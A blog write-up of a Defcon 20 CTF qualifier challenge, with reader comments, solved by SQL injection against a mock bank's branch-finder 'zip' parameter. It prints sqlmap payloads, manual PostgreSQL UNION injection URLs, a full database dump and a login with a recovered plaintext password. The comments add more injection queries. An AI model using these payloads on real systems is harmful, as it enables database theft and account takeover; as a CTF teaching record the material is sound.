In the Grab Bag 400 challenge of Defcon 20 CTF Prequals 2012 we had the following mission: “What is Jeff Moss’ checking account balance?“, and we were provided with a user and a password:
- User: blacksheep
- Password: luvMeSomeSheep
So we were presented with the following fake bank website:
I started by looking for SQL injection at the “Find a BoaBank location near you” page that you can see at the lower right of the screenshot above, which looked like this:
That page has a parameter named “zip“, which is vulnerable to SQL injection. If we put a single quote in it then we get:
Okey, let’s do some information gathering with sqlmap. I had problems trying to make sqlmap authenticate against the site using HTTP Basic Authentication using the –auth-type and –auth-cred parameters, so I decided to use a sqlmap configuration file, in which I added the following line to the “headers” section, in order to make it authenticate against the website using the provided credentials blacksheep:luvMeSomeSheep:
Authorization: Basic YmxhY2tzaGVlcDpsdXZNZVNvbWVTaGVlcA==
Then I run sqlmap against the vulnerable page:
francisco@sherminator:~/sqlmap$ python sqlmap.py -c sqlmap.conf
When sqlmap ends its job, we get the following information:
sqlmap identified the following injection points with a total of 31 HTTP(s) requests: --- Place: GET Parameter: zip Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: zip=-1 AND 5679=CAST(CHR(58)||CHR(109)||CHR(113)||CHR(120)||CHR(58)||(SELECT (CASE WHEN (5679=5679) THEN 1 ELSE 0 END))::text||CHR(58)||CHR(121)||CHR(103)||CHR(100)||CHR(58) AS NUMERIC) Type: UNION query Title: Generic UNION query (NULL) - 1 to 10 columns Payload: zip=-1 UNION ALL SELECT NULL, NULL, NULL, CHR(58)||CHR(109)||CHR(113)||CHR(120)||CHR(58)||COALESCE(CAST(CHR(74)||CHR(80)||CHR(120)||CHR(122)||CHR(100)||CHR(71)||CHR(87)||CHR(111)||CHR(75)||CHR(69) AS CHARACTER(10000)),CHR(32))||CHR(58)||CHR(121)||CHR(103)||CHR(100)||CHR(58), NULL, NULL-- Type: stacked queries Title: PostgreSQL > 8.1 stacked queries Payload: zip=-1; SELECT PG_SLEEP(5);-- Type: AND/OR time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: zip=-1 AND 760=(SELECT 760 FROM PG_SLEEP(5)) --- [14:18:45] [INFO] the back-end DBMS is PostgreSQL web application technology: JSP back-end DBMS: PostgreSQL
Having in mind that the target runs PostgreSQL, let’s do some manual information gathering, with the help of this PostreSQL injection cheatseet.
* Determine the number of columns on the table. Turns out that it’s six:
http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=-1 or 1=1 order by 6--
* Obtain username and PostgreSQL version:
http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=-1 union all SELECT user,version(), null, null, null, null-- => Branch Street City State Zip Phone boa_client PostgreSQL 8.4.11 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Debian 4.4.5-8) 4.4.5, 32-bit null null 0 null
* Obtain the list of databases:
http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=-1 union all SELECT datname,null,null,null,null,null FROM pg_database-- => Branch Street City State Zip Phone template1 null null null 0 null template0 null null null 0 null postgres null null null 0 null boa_bank null null null 0 null
* Obtain the name of the current database:
http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=-1 union all SELECT current_database(),null,null,null,null,null -- => Branch Street City State Zip Phone boa_bank null null null 0 null
That’s enough. Let’s dump the entire boa_bank database:
francisco@sherminator:~/sqlmap$ python sqlmap.py -c sqlmap.conf --dump-all
sqlmap generates a .csv file for each table in the database. (It’s possible to dump the full database to a sqlite database by using the –replicate parameter):
So once we have all the .csv files, let’s open account.csv with LibreOffice. If you remember, the challenge was “What is Jeff Moss’ checking account balance?“. So we look for Jeff Moss in the file, but there’s no costumer with that name. However, we know that Jeff Moss is the founder of BlackHat and Defcon, and that he is better known as The Dark Tangent. This way we can find his account at row 765:
dtangent@defcon.org | Dark | 203 | Tangent | erl)<qZsxZ | dtangent
Then I grabbed his customer number (203) and looked for accounts that belong to that customer number in account.csv, and got this:
account balance id owner type 452871-4345 0.00 406 203 checking 108874-7395 0.00 405 203 savings
So Dark Tangent has two accounts in this bank. We need to get the balance on the checking one, so I took the account number 452871-4345 and selected all the transactions in the transactions.csv file that were performed on that account. Then I added the amounts of the transactions performed against that account, and the result was 0.0, but that was not the right flag.
So I went back to the account.csv file. Previously I’ve understimated the password field, because I believed that it was stored with some kind of encryption. But now I decided to give it a try at the login page of the bank:
username: dtangent password: erl)<qZsxZ
And we successfully log into the dtangent account! We can see the transaction information of his two accounts:
Scroll down till the end of the checking account, and there we have the key (highlighted in the screenshot) at the end of the “Balance” column:
So the key for this challenge was: -3160.86
UPDATE: Thanks to all the people who commented on this post and realized that I made a mistake when posting the solution. Although I submitted the right solution and got the 400 points, it seems like my mind played a trick on me some hours later when I went back to the website in order to get some screenshots for this post, and I wrongly thought that the transactions were in reverse order (i.e last transaction at the bottom) and that the final account balance (and the key) was -3160.86. The final account balance was at the top of the transactions for the checking account, and it was 0.00, which was also the key for this challenge.
UPDATE 2: Now I got a new comment from yappare saying that -3160.86 also worked for him.
I did this one with manual SQL injection…I’ve gotta admit, I tried SQL map once, and then the server went down.
In zip code box:
Query1: 11111 union select table_name,table_name,table_name,table_name,1,table_name from INFORMATION_SCHEMA.TABLES
Query2: 11111 union SELECT column_name,data_type,column_name,column_name,1,column_name FROM INFORMATION_SCHEMA.COLUMNS where table_name=’account’
Query3:11111 union select cast(balance as varchar),user,user,user,id,account from account;
ALL users had a balance of 0.00
This post written during the CTF.. You had an unfair act..
Yep, written in the last hour of the CTF, but published after it finished. So no unfair act, since nobody but me could see this post until the CTF finished.
Ehm, what? The key for this challenge was 0..00 since account balance is 0.00 after the last operation.
wow isubmit “0,00” and i get my 400pt O.o !!!
Crazy thing, 3 comments saying that the balance was 0.00. As I said in the writeup, I tried with 0.0 (maybe I also tried with 0.00), but IIRC, the last value I entered that I got accepted was -3160.86, and I received the 400 points.
So what happened? I’m confused right now!
I have also submitted 0.00 and it worked. Used manual injection, result was 0.00.
Ok guys, so now I’m deeply thinking that I screwed it when writing the blogpost.
I took the screenshots some hours after resolving the challenge in order to prepare the write up; so then I probably got confused and I thought that the transactions on the accounts where in reverse order (i.e. last transaction at the bottom).
Thank you all for pointing out the mistake, I’ll update the post right now!
hi there fdfalcon, i dont think you are screwed, I also did submitted -3160.86 as the answer and its was correct. Tried to submit 0,null,0.0,0.00,zero,$0,$0.0,$0.00,none nothing works.so I tried with this negative value and its work 🙂 maybe something going wrong with the server at that time